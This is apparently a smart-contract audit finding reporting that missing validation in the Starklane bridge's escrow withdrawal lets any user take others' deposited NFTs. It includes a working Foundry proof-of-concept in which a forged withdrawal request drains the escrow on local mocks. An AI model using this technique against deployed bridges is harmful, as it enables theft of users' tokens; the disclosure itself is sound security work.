Anyone can withdraw anything from the escrow.
This is different from the [C01] vulnerability found from previous audit by Cairo. This vulnerability don't matter whether WITHDRAWAUTOparameter is set to true/false. This vulnerability is due to the lack of check/validation in the__ _withdrawFromEscrowfunction in Escrow.sol.
The POC below demonstrate how Alice and Bob deposit their NFT into the escrow then came Tom, a user who has not deposited anything into the escrow but can withdraw all NFT from the escrow.
contract Hack is Test {
address bridge;
address erc721C1;
address erc1155C1;
address snCore;
function computeMessageHashFromL2(
uint256[] memory request
) public returns (bytes32) {
(
snaddress starklaneL2Address,
felt252 starklaneL2Selector
) = IStarklane(bridge).l2Info();
assertTrue(felt252.unwrap(starklaneL2Selector) > 0);
bytes32 msgHash = keccak256(
abi.encodePacked(
snaddress.unwrap(starklaneL2Address),
uint256(uint160(bridge)),
request.length,
request
)
);
return msgHash;
}
function deposit(address user, uint256[] memory nfts) public {
vm.startPrank(user);
console.log("DEPOSIT");
console.log("---------------------------------------");
console.log(ERC721(erc721C1).ownerOf(0));
console.log(ERC721(erc721C1).ownerOf(1));
console.log(ERC721(erc721C1).ownerOf(2));
console.log(ERC721(erc721C1).ownerOf(3));
console.log(ERC721(erc721C1).ownerOf(4));
console.log(ERC721(erc721C1).ownerOf(5));
uint256 salt = 0x1;
snaddress to = Cairo.snaddressWrap(0x1);
IERC721(erc721C1).setApprovalForAll(address(bridge), true);
IStarklane(bridge).depositTokens{value: 1}(
salt,
address(erc721C1),
to,
nfts,
false
);
vm.stopPrank();
}
function testDepositSuccessWithdrawFail() public {
Users genusers = new Users();
address payable[] memory users = genusers.create(5);
address payable alice = users[0];
address payable bob = users[1];
address payable tom = users[2];
erc721C1 = address(new ERC721MintFree("name 1", "S1"));
IERC721MintRangeFree(erc721C1).mintRangeFree(alice, 0, 2);
IERC721MintRangeFree(erc721C1).mintRangeFree(bob, 3, 5);
snCore = address(new StarknetMessagingLocal());
address impl = address(new Starklane());
bytes memory dataInit = abi.encodeWithSelector(
Starklane.initialize.selector,
abi.encode(address(this), snCore, 0x1, 0x2)
);
bridge = address(new ERC1967Proxy(impl, dataInit));
IStarklane(bridge).enableBridge(true);
IStarklane(bridge).setL1L2CollectionMapping(
address(erc721C1),
Cairo.snaddressWrap(0x123),
true
);
console.log("This: ", address(this));
console.log("Bridge: ", bridge);
console.log("SNCore: ", snCore);
console.log("Impl: ", impl);
console.log("ERC721C1: ", erc721C1);
console.log("Alice: ", alice);
console.log("Bob: ", bob);
console.log("Tom: ", tom);
uint256[] memory aDep = new uint256[](3);
aDep[0] = 0;
aDep[1] = 1;
aDep[2] = 2;
deposit(alice, aDep);
aDep[0] = 3;
aDep[1] = 4;
aDep[2] = 5;
deposit(bob, aDep);
console.log("WITHDRAW");
console.log("---------------------------------------");
console.log(ERC721(erc721C1).ownerOf(0));
console.log(ERC721(erc721C1).ownerOf(1));
console.log(ERC721(erc721C1).ownerOf(2));
console.log(ERC721(erc721C1).ownerOf(3));
console.log(ERC721(erc721C1).ownerOf(4));
console.log(ERC721(erc721C1).ownerOf(5));
vm.startPrank(tom);
uint256[] memory values = new uint256[](0);
string[] memory uris = new string[](0);
uint256[] memory newOwners = new uint256[](0);
felt252 header = Protocol.requestHeaderV1(
CollectionType.ERC721,
false,
false
);
uint256[] memory wdr = new uint256[](6);
wdr[0] = 0;
wdr[1] = 1;
wdr[2] = 2;
wdr[3] = 3;
wdr[4] = 4;
wdr[5] = 5;
Request memory reqFull = Request({
header: header,
hash: 0x0,
collectionL1: erc721C1,
collectionL2: Cairo.snaddressWrap(0x123),
ownerL1: tom,
ownerL2: Cairo.snaddressWrap(0x0),
name: "Good",
symbol: "GOOD",
uri: "URIURI",
tokenIds: wdr,
tokenValues: values,
tokenURIs: uris,
newOwners: newOwners
});
uint256[] memory reqSerialized = Protocol.requestSerialize(reqFull);
uint256[] memory msgHashes = new uint256[](1);
msgHashes[0] = uint256(computeMessageHashFromL2(reqSerialized));
IStarknetMessagingLocal(snCore).addMessageHashesFromL2(msgHashes);
IStarklane(bridge).withdrawTokens(reqSerialized);
console.log("---------------------------------------");
console.log(ERC721(erc721C1).ownerOf(0));
console.log(ERC721(erc721C1).ownerOf(1));
console.log(ERC721(erc721C1).ownerOf(2));
console.log(ERC721(erc721C1).ownerOf(3));
console.log(ERC721(erc721C1).ownerOf(4));
console.log(ERC721(erc721C1).ownerOf(5));
}
}
